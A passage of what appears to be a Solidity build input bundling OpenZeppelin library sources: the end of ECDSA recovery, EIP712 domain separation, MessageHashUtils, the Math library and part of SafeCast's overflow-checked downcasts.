upper range, calculate a new s-value\n // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n // these malleable signatures as well.\n if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n return (address(0), RecoverError.InvalidSignatureS, s);\n }\n\n // If the signature is valid (and not malleable), return the signer address\n address signer = ecrecover(hash, v, r, s);\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature, bytes32(0));\n }\n\n return (signer, RecoverError.NoError, bytes32(0));\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);\n _throwError(error, errorArg);\n return recovered;\n }\n\n /**\n * @dev Optionally reverts with the corresponding custom error according to the `error` argument provided.\n */\n function _throwError(RecoverError error, bytes32 errorArg) private pure {\n if (error == RecoverError.NoError) {\n return; // no error: do nothing\n } else if (error == RecoverError.InvalidSignature) {\n revert ECDSAInvalidSignature();\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert ECDSAInvalidSignatureLength(uint256(errorArg));\n } else if (error == RecoverError.InvalidSignatureS) {\n revert ECDSAInvalidSignatureS(errorArg);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/EIP712.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/EIP712.sol)\n\npragma solidity ^0.8.20;\n\nimport {MessageHashUtils} from \"./MessageHashUtils.sol\";\nimport {ShortStrings, ShortString} from \"../ShortStrings.sol\";\nimport {IERC5267} from \"../../interfaces/IERC5267.sol\";\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.\n *\n * The encoding scheme specified in the EIP requires a domain separator and a hash of the typed structured data, whose\n * encoding is very generic and therefore its implementation in Solidity is not feasible, thus this contract\n * does not implement the encoding itself. Protocols need to implement the type-specific encoding they need in order to\n * produce the hash of their typed data using a combination of `abi.encode` and `keccak256`.\n *\n * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding\n * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA\n * ({_hashTypedDataV4}).\n *\n * The implementation of the domain separator was designed to be as efficient as possible while still properly updating\n * the chain id to protect against replay attacks on an eventual fork of the chain.\n *\n * NOTE: This contract implements the version of the encoding known as \"v4\", as implemented by the JSON RPC method\n * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].\n *\n * NOTE: In the upgradeable version of this contract, the cached values will correspond to the address, and the domain\n * separator of the implementation contract. This will cause the {_domainSeparatorV4} function to always rebuild the\n * separator from the immutable values, which is cheaper than accessing a cached version in cold storage.\n *\n * @custom:oz-upgrades-unsafe-allow state-variable-immutable\n */\nabstract contract EIP712 is IERC5267 {\n using ShortStrings for *;\n\n bytes32 private constant TYPE_HASH =\n keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n\n // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to\n // invalidate the cached domain separator if the chain id changes.\n bytes32 private immutable _cachedDomainSeparator;\n uint256 private immutable _cachedChainId;\n address private immutable _cachedThis;\n\n bytes32 private immutable _hashedName;\n bytes32 private immutable _hashedVersion;\n\n ShortString private immutable _name;\n ShortString private immutable _version;\n string private _nameFallback;\n string private _versionFallback;\n\n /**\n * @dev Initializes the domain separator and parameter caches.\n *\n * The meaning of `name` and `version` is specified in\n * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:\n *\n * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.\n * - `version`: the current major version of the signing domain.\n *\n * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart\n * contract upgrade].\n */\n constructor(string memory name, string memory version) {\n _name = name.toShortStringWithFallback(_nameFallback);\n _version = version.toShortStringWithFallback(_versionFallback);\n _hashedName = keccak256(bytes(name));\n _hashedVersion = keccak256(bytes(version));\n\n _cachedChainId = block.chainid;\n _cachedDomainSeparator = _buildDomainSeparator();\n _cachedThis = address(this);\n }\n\n /**\n * @dev Returns the domain separator for the current chain.\n */\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (address(this) == _cachedThis && block.chainid == _cachedChainId) {\n return _cachedDomainSeparator;\n } else {\n return _buildDomainSeparator();\n }\n }\n\n function _buildDomainSeparator() private view returns (bytes32) {\n return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this)));\n }\n\n /**\n * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this\n * function returns the hash of the fully encoded EIP712 message for this domain.\n *\n * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:\n *\n * ```solidity\n * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(\n * keccak256(\"Mail(address to,string contents)\"),\n * mailTo,\n * keccak256(bytes(mailContents))\n * )));\n * address signer = ECDSA.recover(digest, signature);\n * ```\n */\n function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {\n return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n /**\n * @dev See {IERC-5267}.\n */\n function eip712Domain()\n public\n view\n virtual\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n )\n {\n return (\n hex\"0f\", // 01111\n _EIP712Name(),\n _EIP712Version(),\n block.chainid,\n address(this),\n bytes32(0),\n new uint256[](0)\n );\n }\n\n /**\n * @dev The name parameter for the EIP712 domain.\n *\n * NOTE: By default this function reads _name which is an immutable value.\n * It only reads from storage if necessary (in case the value is too large to fit in a ShortString).\n */\n // solhint-disable-next-line func-name-mixedcase\n function _EIP712Name() internal view returns (string memory) {\n return _name.toStringWithFallback(_nameFallback);\n }\n\n /**\n * @dev The version parameter for the EIP712 domain.\n *\n * NOTE: By default this function reads _version which is an immutable value.\n * It only reads from storage if necessary (in case the value is too large to fit in a ShortString).\n */\n // solhint-disable-next-line func-name-mixedcase\n function _EIP712Version() internal view returns (string memory) {\n return _version.toStringWithFallback(_versionFallback);\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/MessageHashUtils.sol)\n\npragma solidity ^0.8.20;\n\nimport {Strings} from \"../Strings.sol\";\n\n/**\n * @dev Signature message hash utilities for producing digests to be consumed by {ECDSA} recovery or signing.\n *\n * The library provides methods for generating a hash of a message that conforms to the\n * https://eips.ethereum.org/EIPS/eip-191[EIP 191] and https://eips.ethereum.org/EIPS/eip-712[EIP 712]\n * specifications.\n */\nlibrary MessageHashUtils {\n /**\n * @dev Returns the keccak256 digest of an EIP-191 signed data with version\n * `0x45` (`personal_sign` messages).\n *\n * The digest is calculated by prefixing a bytes32 `messageHash` with\n * `\"\\x19Ethereum Signed Message:\\n32\"` and hashing the result. It corresponds with the\n * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.\n *\n * NOTE: The `messageHash` parameter is intended to be the result of hashing a raw message with\n * keccak256, although any bytes32 value can be safely used because the final digest will\n * be re-hashed.\n *\n * See {ECDSA-recover}.\n */\n function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\") // 32 is the bytes-length of messageHash\n mstore(0x1c, messageHash) // 0x1c (28) is the length of the prefix\n digest := keccak256(0x00, 0x3c) // 0x3c is the length of the prefix (0x1c) + messageHash (0x20)\n }\n }\n\n /**\n * @dev Returns the keccak256 digest of an EIP-191 signed data with version\n * `0x45` (`personal_sign` messages).\n *\n * The digest is calculated by prefixing an arbitrary `message` with\n * `\"\\x19Ethereum Signed Message:\\n\" + len(message)` and hashing the result. It corresponds with the\n * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.\n *\n * See {ECDSA-recover}.\n */\n function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) {\n return\n keccak256(bytes.concat(\"\\x19Ethereum Signed Message:\\n\", bytes(Strings.toString(message.length)), message));\n }\n\n /**\n * @dev Returns the keccak256 digest of an EIP-191 signed data with version\n * `0x00` (data with intended validator).\n *\n * The digest is calculated by prefixing an arbitrary `data` with `\"\\x19\\x00\"` and the intended\n * `validator` address. Then hashing the result.\n *\n * See {ECDSA-recover}.\n */\n function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(hex\"19_00\", validator, data));\n }\n\n /**\n * @dev Returns the keccak256 digest of an EIP-712 typed data (EIP-191 version `0x01`).\n *\n * The digest is calculated from a `domainSeparator` and a `structHash`, by prefixing them with\n * `\\x19\\x01` and hashing the result. It corresponds to the hash signed by the\n * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] JSON-RPC method as part of EIP-712.\n *\n * See {ECDSA-recover}.\n */\n function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) {\n /// @solidity memory-safe-assembly\n assembly {\n let ptr := mload(0x40)\n mstore(ptr, hex\"19_01\")\n mstore(add(ptr, 0x02), domainSeparator)\n mstore(add(ptr, 0x22), structHash)\n digest := keccak256(ptr, 0x42)\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n /**\n * @dev Muldiv operation overflow.\n */\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor, // Toward negative infinity\n Ceil, // Toward positive infinity\n Trunc, // Toward zero\n Expand // Away from zero\n }\n\n /**\n * @dev Returns the addition of two unsigned integers, with an overflow flag.\n */\n function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n if (c < a) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, with an overflow flag.\n */\n function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n return (true, a - b);\n }\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\n */\n function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n // benefit is lost if 'b' is also tested.\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n if (a == 0) return (true, 0);\n uint256 c = a * b;\n if (c / a != b) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the division of two unsigned integers, with a division by zero flag.\n */\n function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a / b);\n }\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\n */\n function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a % b);\n }\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds towards infinity instead\n * of rounding towards zero.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n // Guarantee the same behavior as in a regular Solidity division.\n return a / b;\n }\n\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or\n * denominator == 0.\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by\n * Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0 = x * y; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator.\n // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.\n\n uint256 twos = denominator & (0 - denominator);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also\n // works in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded\n * towards zero.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.\n */\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/SafeCast.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SafeCast.sol)\n// This file was procedurally generated from scripts/generate/templates/SafeCast.js.\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow\n * checks.\n *\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\n * easily result in undesired exploitation or bugs, since developers usually\n * assume that overflows raise errors. `SafeCast` restores this intuition by\n * reverting the transaction when such an operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n */\nlibrary SafeCast {\n /**\n * @dev Value doesn't fit in an uint of `bits` size.\n */\n error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value);\n\n /**\n * @dev An int value doesn't fit in an uint of `bits` size.\n */\n error SafeCastOverflowedIntToUint(int256 value);\n\n /**\n * @dev Value doesn't fit in an int of `bits` size.\n */\n error SafeCastOverflowedIntDowncast(uint8 bits, int256 value);\n\n /**\n * @dev An uint value doesn't fit in an int of `bits` size.\n */\n error SafeCastOverflowedUintToInt(uint256 value);\n\n /**\n * @dev Returns the downcasted uint248 from uint256, reverting on\n * overflow (when the input is greater than largest uint248).\n *\n * Counterpart to Solidity's `uint248` operator.\n *\n * Requirements:\n *\n * - input must fit into 248 bits\n */\n function toUint248(uint256 value) internal pure returns (uint248) {\n if (value > type(uint248).max) {\n revert SafeCastOverflowedUintDowncast(248, value);\n }\n return uint248(value);\n }\n\n /**\n * @dev Returns the downcasted uint240 from uint256, reverting on\n * overflow (when the input is greater than largest uint240).\n *\n * Counterpart to Solidity's `uint240` operator.\n *\n * Requirements:\n *\n * - input must fit into 240 bits\n */\n function toUint240(uint256 value) internal pure returns (uint240) {\n if (value > type(uint240).max) {\n revert SafeCastOverflowedUintDowncast(240, value);\n }\n return uint240(value);\n }\n\n /**\n * @dev Returns the downcasted uint232 from uint256, reverting on\n * overflow (when the input is greater than largest uint232).\n *\n * Counterpart to Solidity's `uint232` operator.\n *\n * Requirements:\n *\n * - input must fit into 232 bits\n */\n function toUint232(uint256 value) internal pure returns (uint232) {\n if (value > type(uint232).max) {\n revert SafeCastOverflowedUintDowncast(232, value);\n }\n return uint232(value);\n }\n\n /**\n * @dev Returns the downcasted uint224 from uint256, reverting on\n * overflow (when the input is greater than largest uint224).\n *\n * Counterpart to Solidity's `uint224` operator.\n *\n * Requirements:\n *\n * - input must fit into 224 bits\n */\n function toUint224(uint256 value) internal pure returns (uint224) {\n if (value > type(uint224).max) {\n revert SafeCastOverflowedUintDowncast(224, value);\n }\n return uint224(value);\n }\n\n /**\n * @dev Returns the downcasted uint216 from uint256, reverting on\n * overflow (when the input is greater than largest uint216).\n *\n * Counterpart to Solidity's `uint216` operator.\n *\n * Requirements:\n *\n * - input must fit into 216 bits\n */\n function toUint216(uint256 value) internal pure returns (uint216) {\n if (value > type(uint216).max) {\n revert SafeCastOverflowedUintDowncast(216, value);\n }\n return uint216(value);\n }\n\n /**\n * @dev Returns the downcasted uint208 from uint256, reverting on\n * overflow (when the input is greater than largest uint208).\n *\n * Counterpart to Solidity's `uint208` operator.\n *\n * Requirements:\n *\n * - input must fit into 208 bits\n */\n function toUint208(uint256 value) internal pure returns (uint208) {\n if (value > type(uint208).max) {\n revert SafeCastOverflowedUintDowncast(208, value);\n }\n return uint208(value);\n }\n\n /**\n * @dev Returns the downcasted uint200 from uint256, reverting on\n * overflow (when the input is greater than largest uint200).\n *\n * Counterpart to Solidity's `uint200` operator.\n *\n * Requirements:\n *\n * - input must fit into 200 bits\n */\n function toUint200(uint256 value) internal pure returns (uint200) {\n if (value > type(uint200).max) {\n revert SafeCastOverflowedUintDowncast(200, value);\n }\n return uint200(value);\n }\n\n /**\n * @dev Returns the downcasted uint192 from uint256, reverting on\n * overflow (when the input is greater than largest uint192).\n *\n * Counterpart to Solidity's `uint192` operator.\n *\n * Requirements:\n *\n * - input must fit into 192 bits\n */\n function toUint192(uint256 value) internal pure returns (uint192) {\n if (value > type(uint192).max) {\n revert SafeCastOverflowedUintDowncast(192, value);\n }\n return uint192(value);\n }\n\n /**\n * @dev Returns the downcasted uint184 from uint256, reverting on\n * overflow (when the input is greater than largest uint184).\n *\n * Counterpart to Solidity's `uint184` operator.\n *\n * Requirements:\n *\n * - input must fit into 184 bits\n */\n function toUint184(uint256 value) internal pure returns (uint184) {\n if (value > type(uint184).max) {\n revert SafeCastOverflowedUintDowncast(184, value);\n }\n return uint184(value);\n }\n\n /**\n * @dev Returns the downcasted uint176 from uint256, reverting on\n * overflow (when the input is greater than largest uint176).\n *\n * Counterpart to Solidity's `uint176` operator.\n *\n * Requirements:\n *\n * - input must fit into 176 bits\n */\n function toUint176(uint256 value) internal pure returns (uint176) {\n if (value > type(uint176).max) {\n revert SafeCastOverflowedUintDowncast(176, value);\n }\n return uint176(value);\n }\n\n /**\n * @dev Returns the downcasted uint168 from uint256, reverting on\n * overflow (when the input is greater than largest uint168).\n *\n * Counterpart to Solidity's `uint168` operator.\n *\n * Requirements:\n *\n * - input must fit into 168 bits\n */\n function toUint168(uint256 value) internal pure returns (uint168) {\n if (value > type(uint168).max) {\n revert SafeCastOverflowedUintDowncast(168, value);\n }\n return uint168(value);\n }\n\n /**\n * @dev Returns the downcasted uint160 from uint256, reverting on\n * overflow (when the input is greater than largest uint160).\n *\n * Counterpart to Solidity's `uint160` operator.\n *\n * Requirements:\n *\n * - input must fit into 160 bits\n */\n function toUint160(uint256 value) internal pure returns (uint160) {\n if (value > type(uint160).max) {\n revert SafeCastOverflowedUintDowncast(160, value);\n }\n return uint160(value);\n }\n\n /**\n * @dev Returns the downcasted uint152 from uint256, reverting on\n * overflow (when the input is greater than largest uint152).\n *\n * Counterpart to Solidity's `uint152` operator.\n *\n * Requirements:\n *\n * - input must fit into 152 bits\n */\n function toUint152(uint256 value) internal pure returns (uint152) {\n if (value > type(uint152).max) {\n revert SafeCastOverflowedUintDowncast(152, value);\n }\n return uint152(value);\n }\n\n /**\n * @dev Returns the downcasted uint144 from uint256, reverting on\n * overflow (when the input is greater than largest uint144).\n *\n * Counterpart to Solidity's `uint144` operator.\n *\n * Requirements:\n *\n * - input must fit into 144 bits\n */\n function toUint144(uint256 value) internal pure returns (uint144) {\n if (value > type(uint144).max) {\n revert SafeCastOverflowedUintDowncast(144, value);\n }\n return uint144(value);\n }\n\n /**\n * @dev Returns the downcasted uint136 from uint256, reverting on\n * overflow (when the input is greater than largest uint136).\n *\n * Counterpart to Solidity's `uint136` operator.\n *\n * Requirements:\n *\n * - input must fit into 136 bits\n */\n function toUint136(uint256 value) internal pure returns (uint136) {\n if (value > type(uint136).max) {\n revert SafeCastOverflowedUintDowncast(136, value);\n }\n return uint136(value);\n }\n\n /**\n * @dev Returns the downcasted uint128 from uint256, reverting on\n * overflow (when the input is greater than largest uint128).\n *\n * Counterpart to Solidity's `uint128` operator.\n *\n * Requirements:\n *\n * - input must fit into 128 bits\n */\n function toUint128(uint256 value) internal pure returns (uint128) {\n if (value > type(uint128).max) {\n revert SafeCastOverflowedUintDowncast(128, value);\n }\n return uint128(value);\n }\n\n /**\n * @dev Returns the downcasted uint120 from uint256, reverting on\n * overflow (when the input is greater than largest uint120).\n *\n * Counterpart to Solidity's `uint120` operator.\n *\n * Requirements:\n *\n * - input must fit into 120 bits\n */\n function toUint120(uint256 value) internal pure returns (uint120) {\n if (value > type(uint120).max) {\n revert SafeCastOverflowedUintDowncast(120, value);\n }\n return uint120(value);\n }\n\n /**\n * @dev Returns the downcasted uint112 from uint256, reverting on\n * overflow (when the input is greater than largest uint112).\n *\n * Counterpart to Solidity's `uint112` operator.\n *\n * Requirements:\n *\n * - input must fit into 112 bits\n */\n function toUint112(uint256 value) internal pure returns (uint112) {\n if (value > type(uint112).max) {\n revert SafeCastOverflowedUintDowncast(112, value);\n }\n return uint112(value);\n }\n\n /**\n * @dev Returns the downcasted uint104 from uint256, reverting on\n * overflow (when the input is greater than largest uint104).\n *\n * Counterpart to Solidity's `uint104` operator.\n *\n * Requirements:\n *\n * - input must fit into 104 bits\n */\n function toUint104(uint256 value) internal pure returns (uint104) {\n if (value > type(uint104).max) {\n revert SafeCastOverflowedUintDowncast(104, value);\n }\n return uint104(value);\n }\n\n /**\n * @dev Returns the downcasted uint96 from uint256, reverting on\n * overflow (when the input is greater than largest uint96).\n *\n * Counterpart to Solidity's `uint96` operator.\n *\n * Requirements:\n *\n * - input must fit into 96 bits\n */\n function toUint96(uint256 value) internal pure returns (uint96) {\n if (value > type(uint96).max) {\n revert SafeCastOverflowedUintDowncast(96, value);\n }\n return uint96(value);\n }\n\n /**\n * @dev 